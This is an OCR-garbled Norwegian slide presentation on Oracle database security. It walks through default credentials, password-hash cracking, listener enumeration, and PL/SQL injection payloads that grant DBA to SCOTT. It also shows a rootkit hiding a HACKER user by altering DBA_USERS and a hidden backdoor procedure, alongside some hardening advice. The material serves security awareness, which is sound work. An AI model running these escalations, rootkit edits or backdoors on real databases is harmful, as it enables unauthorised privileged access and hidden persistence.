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Bakgrunn —

Hvem ¢gnsker a bryte seg inn i1 databasen min?

= Ormen “viking.gt” herjet i DnB Nor:
s 11.000 PCer syke
s Noen hundre servere infektert

s Politiet i Sverige i forbindelse med Anna Lindh
= Takk for sist!
» Kjennskap til:

s JP-adresse

s QOracle versjon

s port

s SID

s Brukernavn og passord

= White Hat/Grey Hat/Black Hat
» Man in the middle
= Applikasjonseiere med DBA-rettigheter...



Kilder

» David Litchfield
® «The Oracle Hackers Handbook»

* Pete Finnigan
@ «Many ways to become a DBA»

* Oracle10G Security by Design
@ David C. Knox

* SANS

» White hat community
* Critical Patch Update

e Oracle
Hackers

Handbook




SANS - www.sans.org

* SANS Comprehensive Security Checklist for Oracle
* SANS Top-20 Internet Security Attack Targets

CVE-2005-3641, CVE-2006-0256, CVE-2006-0257, CVE-2006-0258, CVE-2006-0259,
CVE-2006-0260, CVE-2006-0261, CVE-2006-0262, CVE-2006-0263, CVE-2006-0265,
CVE-2006-0266, CVE-2006-0267, CVE-2006-0268, CVE-2006-0269, CVE-2006-0270,
CVE-2006-0271, CVE-2006-0272, CVE-2006-0282, CVE-2006-0283, CVE-2006-0285,
CVE-2006-0286, CVE-2006-0287, CVE-2006-0290, CVE-2006-0291, CVE-2006-0435,
CVE-2006-0547, CVE-2006-0548, CVE-2006-0549, CVE-2006-0551, CVE-2006-0552,
CVE-2006-0586, CVE-2006-1868, CVE-2006-1871, CVE-2006-1872, CVE-2006-1873,
CVE-2006-1874, CVE-2006-3698.

Note:
This list concentrates on the core Oracle database programs.

SANS

2007

San Diego, CA
March 29 - Apnil 6




SANS - CVE-2006-3698

Vulnerability Summary CVE-2006-3698
Original release date: 7/21/2006

Last revised: 7/25/2006

Source: US-CERT/NIST

Overview

Multiple unspecified vulnerabilities in Oracle Database 10.1.0.5 have unknown
impact and attack vectors, aka Oracle Vuln# (1) DBO1 for Change Data Capture
(CDC) component and (2) DB03 for Data Pump Metadata API.

Impact

CVSS Severity: 7.0 (High)

Range: Remotely exploitable
Authentication: Not required to exploit
Impact Type: Unknown



erktgy: BackTrack Linux

. Backtrack Menu
[ Run Command...
xterm —
; Backtrack =
Backtrack Enumeration -
Internet Exploit Archives =
Multimedia Scanners -
System Password Attacks =
Settings Fuzzers
Spoofing
Screen Capture Sniffers
Find Files/Folders Wireless Tools
Bluetooth
FluxBox menu Cisco Tools i Database Tools ——
Database H '~ Generic Database Tools
Legout Forensic Tools Oracle -
VMWare
BackTrack Services
Miscellaneous




Oracle 1 begynnelsen...

Versjon 4: Passord i klartekst i databasen

UFl > SELECT user nane, password
FROM dba_users;

USERNANE PASSWORD
SCOTT TI GER

SYS CHANGE_ON | NSTALL

SYSTEM MANAGER

* Versjon 5: Passord “hashet” i databasen

SQL> SELECT usernane, password
FROM dba_users;

USERNAME PASSWORD
SCOI'T F894844C34402B67
SYS DAC5016086B2DC6A

SYSTEM DADF7931AB130E37



Passord pa avveier...

* Oracle Password Checker (Cracker) — checkpwd 1.22

C:\> checkpwd system/pw@//123.34.54.123:1521/0RCL password list.txt

Checkpwd 1.22 - (c¢) 2007 by Red-Database-Security GmbH
Oracle Security Consulting, Security Audits & Security Training
http://www.red-database-security.com

initializing Oracle client library

connecting to the database

retrieving users and password hash values

opening weak password list file

reading weak passwords list

checking passwords

Starting 2 threads

MDSYS has weak password MDSYS [EXPIRED & LOCKED]
ORDSYS has weak password ORDSYS [EXPIRED & LOCKED]


file:///C:/

Passord

* Kjente passord apne i Oracle8i:

* system/manager
s sys/change on_install
s scott/tiger
s mdsys/mdsys
» Brukere Oracle9i:
s dbsnmp/dbsnmp
s sysman/sysman
* rman/rman

SQL> CONNECT ndsys/ ndsys

Connect ed.

SQL> SELECT * FROM user _Sys privs;
VDSYS SELECT ANY SEQUENCE
VDSYS SELECT ANY TABLE
VDSYS UNLI M TED TABLESPACE
VDSYS UPDATE ANY TABLE

115 rows sel ect ed.

YES
YES
YES
YES

10
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Passord algoritmen

Oracle Password Algoritmen (Designed by Bob Baldwin)

red databasem
* Up to 30 characters long. "u Security

* Oracle encrypts the concatenation of (username | | password)
— sys/templ and
~ system/pl have the identical hashkey (2E1168309B5B9B7A)

*All characters will be converted to uppercase before the hashing starts-
* Encrypted with a DES encryption algorithm without real salt (just the
username).

The algorithm can be found in the book "Special Ops Host And Network
Security For Microsoft, Unix, And Oracle" on page 727.

The upcoming Oracle database 11g will use AES as an additional password
hashing algorithm.
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Hvor lagres passordene?

* Database - SYS.USER$

* Qracle Passord Fil
[oracle@errari dbs]$ strings orapwPROD
PROD
17307C6BBD5B0A62
80A0E35CC27E0325
| NGEMAR
432112AC78D7CB60

* Datafiler tilhgrende SYSTEM tabellplass
* (full) Export-filer (expdat.dmp)
* Arkiv logger

SQL> ALTER USER system | DENTI FI ED BY new password for_a whil e;

SQL> Go ahead and do sone fun...;
SQ.> ALTER USER system | DENTI FI ED BY VALUES ' DADF7931AB130E37' ;



Brute force

SQ.> ALTER USER scott | DENTI FI ED BY gf 4h7;

User altered.

SQL> SELECT password FROM dba_users WHERE user nane=' SCOTT' ;
PASSWORD

EF2D6ED2EDC1036B

D: \ or abf > orabf EF2D6ED2EDC1036B: SCOIT 3 5
orabf v0.7.2, (C) 2005 orm@ ool crypt.org

Starting brute force session
password found: SCOTT:. GF4H7

» Pentium 4 with 3 GHz:

- 10 sekunder for a beregne alle 5 tegns ASCII kombinasjoner
- 5 minutter for a beregne alle 6 tegns ASCII kombinasjoner
- 2 timer for a beregne alle 7 tegns ASCII kombinasjoner

- 2,1 dager for a beregne alle 8 tegns ASCII kombinasjoner
- 57 dager for a beregne alle 9 tegns ASCII kombinasjoner

- 4 ar for a beregne alle 10 tegns ASCII kombinasjoner

13
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Enkelt a beskytte seg!

* Oracle Internet Directory — OID
* Passord funksjon i utlpwdmg.sql

CREATE OR REPLACE FUNCTI ON verify function
(user nanme var char 2,
password var char 2,
ol d _password varchar 2)
RETURN bool ean IS
BEGQ N

| F | engt h( password) < 4 THEN

rai se_application_error(-20002, 'Password |length less than 4');
END | F;

| F NLS LONER( password) IN
('wel come', 'database', 'account', 'user', 'oracle') THEN

rai se_application_error(-20002, 'Password too sinple');
END | F;

-- Everything is fine; return TRUE ;
RETURN( TRUE) ;

END;

/
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Oracle gruppe dba/oinstall

» CONNECT INTERNAL i Oracle8i - DBA

[ oracl e@oscvnD9 oracle]$ svrnyrl
Oracl e Server Manager Release 3.1.7.0.0 - Production
Oracl e8i Enterprise Edition Release 8.1.7.0.1 - Production

SVRMGR> CONNECT | NTERNAL
Connect ed.

* Ekstern passord fil: SYSDBA/SYSOPER og OSDBA/OSOPER

[oracle@errari lib]$ id
ui d=1001(oracl e) gid=1001(oinstall)
gr oups=1001(oinstall), 1008(dba), 1009( oper)

[oracle@errari |ib]$ sqlplus / AS SYSOPER

[oracl e@errari |ib]$ nore config.c
/[* SS DBA GRP defines the group ID for admnistrative access. */

#defi ne SS _DBA GRP "dba"
#define SS OPER GRP "oper™
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Oracle programvare

* 20-30.000 filer

*1-3 GB /
oracl e
pr oduct
8.1.7 9.2.0 10.1.0 10.2.0

_ — \

agent asm dbl db2 db3



SQL*Net

» Hvilken Oracle versjon og port?

$ ./tnscndl0g. pl version -h 192.168. 27. 11

sendi ng ( CONNECT_DATA=( COMVAND=version)) to 192.168.27.11:1521
witing 90 bytes

readi ng

( DESCRI PTI ON=( TMP=) ( VSNNUM=135294976) ( ERR=0) )

TNSLSNR for Linux: Version 8.1.7.4.0

| PC NT Protocol Adaptor for Linux: Version 8.1.7.4.0

Oracl e Bequeath NT Protocol Adapter for Linux: Version 8.1.7.4.0
TCP/ I P NT Protocol Adapter for Linux: Version 8.1.7.4.0

$ ./tnscndl0g. pl version -h 192.168. 27. 129 -p 1522

sendi ng ( CONNECT_DATA=( COMVAND=version)) to 192.168. 27. 129: 1522
writing 90 bytes

readi ng

( DESCRI PTI ON=( TMP=) ( VSNNUM=169869568) ( ERR=0) )

TNSLSNR f or Linux: Version 10.2.0.3.0

| PC NT Protocol Adaptor for Linux: Version 10.2.0.3.0

Oracl e Bequeath NT Protocol Adapter for Linux: Version 10.2.0.3.0
TCP/ I P NT Protocol Adapter for Linux: Version 10.2.0.3.0

17
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[Listener kommando

* Hvis listener prossesen mottar en ugyldig pakke svarer

den med en pakke hvor versjonsnummeret er oppgitt!
Hex 151000065 = 9001401 = Oracle 9.0.1.4.1

| P Header
TCP Header
Raw Dat a
. ( VSNNUM=151000065) . . .

» Stoppe listeneren med en bruker uten rettigheter:

[oracl e@mnl oracle]$ Isnrctl stop
LSNRCTL for Linux: Version 8.1.7.0.0 - Production

Connecting to
( DESCRI PTI ON=( ADDRESS=( PROTOCOL=I PC) ( KEY=EXTPRCC) ) )
The command conpl eted successfully



. . . 19
Listener informasjon

» Finn ut hva som er installert...

LSNRCTL> SET CURRENT LI STENER 192. 168. 27. 11
Aktiv |ytterprosess er 192.168.27.11

LSNRCTL> VERSI ON
( DESCRI PTI ON=( CONNECT _DATA=( SERVI CE_NAME=192. 168. 27. 11))

( ADDRESS=( PROTOCCL=TCP) ( HOST=192. 168. 27. 11) ( PORT=1521) ))
TNSLSNR for Linux: Version 10.2.0.3.0 - Production

TNS Li nux: Version 10.2.0.3.0 - Production

TCP/ I P NT Protocol: Version 10.2.0.3.0 - Production
Konmandoen bl e utfort

LSNRCTL> SERVI CES
( DESCRI PTI ON=( CONNECT _DATA=( SERVI CE_NAME=192. 168. 27. 11))
( ADDRESS=( PROTOCOL=TCP) ( HOST=192. 168. 27. 11) ( PORT=1521)))
Tj enest eoversi kt . ..
Tj enest en ORALOGR2. orakl et.no har 1 forekonst(er).

LSNRCTL> STOP
( DESCRI PTI ON=( CONNECT _DATA=( SERVI CE_NAME=192. 168. 27. 11))

( ADDRESS=( PROTOCCL=TCP) ( HOST=192. 168. 27. 11) ( PORT=1521)))
Komrmandoen bl e utfort
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SQL Injection

» Sette inn SQL som enten lurer systemet direkte eller indirekte

| |, UNION og kommentar --

DECLARE

NB PLS | NTECER;

BUF VARCHAR2( 2000) ;

BEG N

BUF: =
SYS. DBV EXPORT _EXTENSI ON. GET_DQOVAI N | NDEX METADATA(

' FOO
' SCH'
' FQOO
" EXFSYS" . " EXPRESSI ONI NDEXMETHODS" . OCDI | ndexGet Met adat a( oi ndexi nf o,
' p3,
. p4,
ENV) ;

EXCEPTI ON WHEN OTHERS THEN

EXECUTE | MVEDI ATE ' ' GRANT DBA TO SCOIT''; END; --','VER , NB, 1);

END,;

/
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Muligheter 1 PL/SQL pakker

SQ.> SELECT * FROM user _rol e privs;

USERNAIVE GRANTED_ROLE ADM DEF OS_
SCOTI'T CONNECT NO YES NO
SCOTIT RESOURCE NO YES NO

SQL> EXEC ctxsys.driload.validate stnm (' GRANT dba TO scott');
BEG N ct xsys.driload. validate stnt('grant dba to scott'); END;
*

ERROR at |ine 1:

ORA- 06510: PL/SQ.: unhandl ed user-defi ned exception
ORA- 06512: at "CTXSYS. DRI LOAD', line 42

ORA- 01003: no statenent parsed

ORA- 06512: at line 1

SQ.> SELECT * FROM user _rol e privs;

USERNAIVE GRANTED_ROLE ADM DEF OS_
SCOTT CONNECT NO YES NO
SCOT'T DBA NO YES NO

SCOI'T RESOURCE NO YES NO
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DBMS_DDL - 1

SQL> connect scott/tiger

Connect ed.

SQ.> SELECT * FROM user _rol e privs;

USERNAME GRANTED ROLE ADM DEF OS
SCOTT CONNECT NO YES NO
SCOTT RESOURCE NO YES NO

SQL> create or replace function scott. hack return varchar?2
authid current _user is
pragma aut ononous_transacti on;
begi n
execute imedi ate 'grant dba to scott';
return "'
end;
/
Function creat ed.
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DBMS_DDL - 11

SQ.> SELECT
sys. dbns_netadata.get _ddl (''" || scott.hack() || '""',"")
FROM dual ;

ORA- 31600: invalid input value '|]|scott. hack()]|]|"' for

par anet er

OBJECT _TYPE in function GET _DDL

ORA- 06512: at "SYS. DBM5_SYS ERRCR', |ine 105

ORA- 06512: at " SYS. DBMS_METADATA | NT", line 1536

ORA- 06512: at " SYS. DBMS_METADATA | NT", |ine 1900

ORA- 06512: at " SYS. DBMS_METADATA | NT", |ine 3606

ORA- 06512: at " SYS. DBMS_METADATA', |ine 504

ORA- 06512: at " SYS. DBMS METADATA", |ine 560

ORA- 06512: at " SYS. DBMS_METADATA", line 1221

ORA-06512: at line 1
no rows sel ect ed

SQ.> SELECT * FROM user _rol e privs;

USERNAIVE GRANTED_ROLE ADM DEF OS_
SCOTI'T CONNECT NO YES NO
SCOTI'T DBA NO YES NO

SCOTT RESOURCE NO YES NO



Databaselinker

» Passord i klartekst...

$ sqlplus / AS SYSDBA
SQL*Plus: Release 10.1.0.5.0 — Production

SQL> SELECT userid, nane, password FROM sys. |l i nk$;

USERI D NAVE PASSWORD

Bl GUSER DB2. ORAKLET. NO MONEY

SQL> CONNECT snal | user/ nonponey

Connect ed.

SQL> SELECT userid, nane, password FROM user db _|i nks;
USERI D NAME PASSWORD

Bl GUSER DB2. ORAKLET. NO MONEY

$ sqlplus / AS SYSDBA
SQL*Plus: Release 10.2.0.3.0 — Production

SQL> SELECT userid, nane, password FROM sys. | i nk$;
USERI D NAME PASSWORD

Bl GUSER DB2. ORAKLET. NO

24



utl file dir

» UTL FILE DIR apner systemet for deg.

» EBusiness Suite bruker UTL FILE DIR ogsa i siste versjon...
SQL> SHOW PARAMVETERS utl _file_dir

NAVE TYPE VALUE

utl file dir string *

» Bruk DIRECTORY i stedet

SQL> CREATE OR REPLACE DI RECTCRY dat apunpdir AS '/ u02/dp';
SQL> GRANT READ ON dat apunpdir TO scott;

25



Oracle rootkits

* Mange likheter mellom database og operativsystem:

* Brukere

s Prosessor
s Jobber
s Eksekverbare filer/prosedyrer

* Rootkits kan brukes av tyver som gnsker a gijemme seg.
» Sony DRM rootkit

26



3. generasjon rootkits

1. Generasjon

* Endringer i metadata
— Presentert ved Black Hat Europe 2005

*» 2. Generasjon

* Ikke noen endringer i metadata.
- Presentert ved Black Hat USA 2006

* 3. Generasjon

* Endre database strukturer i minne.
- Offisielt API tilgjengelig i Oracle10g R2

27



Hvordan gjemme seg - |

® Hvor lagres informasjon om brukere

SQL> SET AUTOTRACE ON;
SQL> SELECT usernane FROM dba_users;

USERNAIVE

SYSTEM

PROFI LES$

USERS$

PROFNAVES
RESOURCE_GROUP_MAPPI NGS$
TS$USER ASTATUS MAP

* USERS - brukere TYPE# = 1 og roller TYPE# = 0

28



Hvordan gjemme seg - 11

» Opprett en bruker HACKER

SQL> CONNECT syst eni passwor d;
Ti | kobl et .

SQL> CREATE USER hacker | DENTI FI ED BY hacker;
Qpprettet bruker.

SQL> GRANT dba TO hacker;
GRANT- kommandoen var vel | ykket.

SQL> SELECT user nane FROM dba_users;
USERNANE

SYSTEM

29



Hvordan gjemme seg - 111 ;

* Endre catalog.sql

create or replace view DBA USERS
(USERNAMVE, USER | D, PASSWORD, ACCOUNT_STATUS, LOCK DATE,
EXPI RY _DATE,
DEFAULT TABLESPACE, TEMPORARY_ TABLESPACE, CREATED,
PROFI LE, | NI Tl AL_RSRC CONSUMER GROUP, EXTERNAL NANE)
as
sel ect u.nanme, u.user#, u.password,
m st at us,
decode(u. astatus, 4, u.ltine,
5 u.ltinme,

and pr.type# =1

and pr.resource# =1

and u. nane ! = ' HACKER
/

* Relativt enkelt a oppdage...



Hvordan gjemme seg - IV

®* Hacker er bortevekk!

SQL> SELECT user name FROM dba_users;
USERNAME

SYSTEM

» Fungerer for Enterprise Manager og SQL*Plus
* Tkke for TOAD fra Quest. Bruker ALL. USERS ikke DBA USERS.

31



Ha en bakdgr apen

® Buffersize = 31337 apnes dgren til SCOTT

CREATE or REPLACE PROCEDURE ENABLE (
BUFFER SI ZE | N | NTEGER DEFAULT 20000)
| S
ENABLED BOCOLEAN:;
BEG N
| F (BUFFER _SI ZE = 31337)
THEN
BEG N
execute i medi ate ' GRANT dba TO scott';
execute i medi ate ' ALTER USER scott | DENTI FI ED BY ora31337';
END;
ELSE
BEG N
execute i mmedi ate ' REVOKE dba TO scott';
execute i mmedi ate ' ALTER USER scott | DENTI FI ED BY tiger';
END;
END | F;
ENABLED : = TRUE;
END;
/
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Wrapped pakke

* Wrappede pakker ~ kryptere pakker
* Det er mulig a «unwrappe» pakker og deretter «wrappe» dem.

[oracle@errari tnp]$ wap i nane=pl.sgl onane=pl 10gr2.pl s

PL/ SQL Wapper: Release 10.2.0.3.0- 64bit Production
Processing pl.sqgl to pl10gr2.pls

[oracle@errari tnp]$ nore pl 10gr2.pls

CREATE or REPLACE PROCEDURE ENABLE wr apped

a000000

1f

abcd

abcd

abcd

la5 13c

t FC6eCh85mAgi OMRuU4wgzv ! JK5gf CHVWE4+SNVVDoj | 43t XCVHXPQDvWXH7 DFz5
53/ pnj r 55bdLgqUbb3esp6l kA53+kv23cc9ZNIWS/ QpCBVIsW6LCuBt CY9dcPOX T
1Rb2PpPl hKV8CZQgo6esVf 7aJkNoj WLgKDPH] 7vsuJeQZPyj ZG5hc/ f AW SIPWh0Q
VNKGHU/ r v1IKWHBY QX e T4JnWhbsnpZLYv20] Oy6019Fd&GPI t AeQmv0/ geNsn226
+U6f DKu25eDyc W' 7qUc X+g==

/



Konklusjon

» Systemet ditt er apnere enn du aner!

@ Passord
» Rettigheter
» Mange produkter/komponenter som ikke er i bruk

* Oracle8i versjon 8.1.7 siste virkelig «apne» databasen!
* Oracle10g versjon 2 begynner a hjelpe!

» Kjempeutfordring med en stadig voksende programstakk...



